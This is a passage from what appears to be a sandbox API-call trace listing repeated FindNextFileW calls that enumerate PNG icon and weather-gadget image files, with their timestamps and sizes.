ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1874, dwReserved0=0x0, dwReserved1=0x0, cFileName="40.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2ed5e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b2ed5e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="41.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b54ebb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b54ebb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae6f707, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="42.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae6f707, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="43.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="44.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="45.png", cAlternateFileName="")) returned 1 [0081.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="46.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="47.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bed42f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bed42f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bed42f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bed42f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c396e9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c396e9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3032, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715a6e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87715a6e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="alertIcon.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87572b6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87572b6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcde, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875bee29, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875bee29, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down_BIDI.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87598ccc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87598ccc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_over.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87598ccc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87598ccc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_up.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875e4f86, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875e4f86, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af2dddd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87631240, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87631240, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af7a099, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down_BIDI.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8760b0e3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8760b0e3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af7a099, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xde7, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8767d4fa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8767d4fa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over_BIDI.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875e4f86, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875e4f86, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up_BIDI.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876ef911, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876ef911, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afc6355, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-horizontal.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876ef911, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876ef911, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afc6355, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xafd, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-vertical.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2261, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked-loading.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870affcf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870affcf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x274e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_cloudy.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870affcf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870affcf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2685, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_few-showers.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2930, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_foggy.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_hail.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87148543, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87148543, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b03876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ace, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87148543, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87148543, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b03876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2264, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8716e6a0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8716e6a0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b05e8cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871947fd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871947fd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b084a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871947fd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871947fd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b084a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.060] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871ba95a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871ba95a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0aab89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x251a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871ba95a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871ba95a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0d0ce7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8722cd71, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8722cd71, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0f6e45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2334, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8722cd71, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8722cd71, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b11cfa3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c73, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87252ece, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87252ece, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b143101, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87252ece, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87252ece, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b16925f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b35, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8729f188, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8729f188, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b3f099d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872c52e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x872c52e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b462db7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872eb442, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x872eb442, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b75c90f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2203, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731159f, 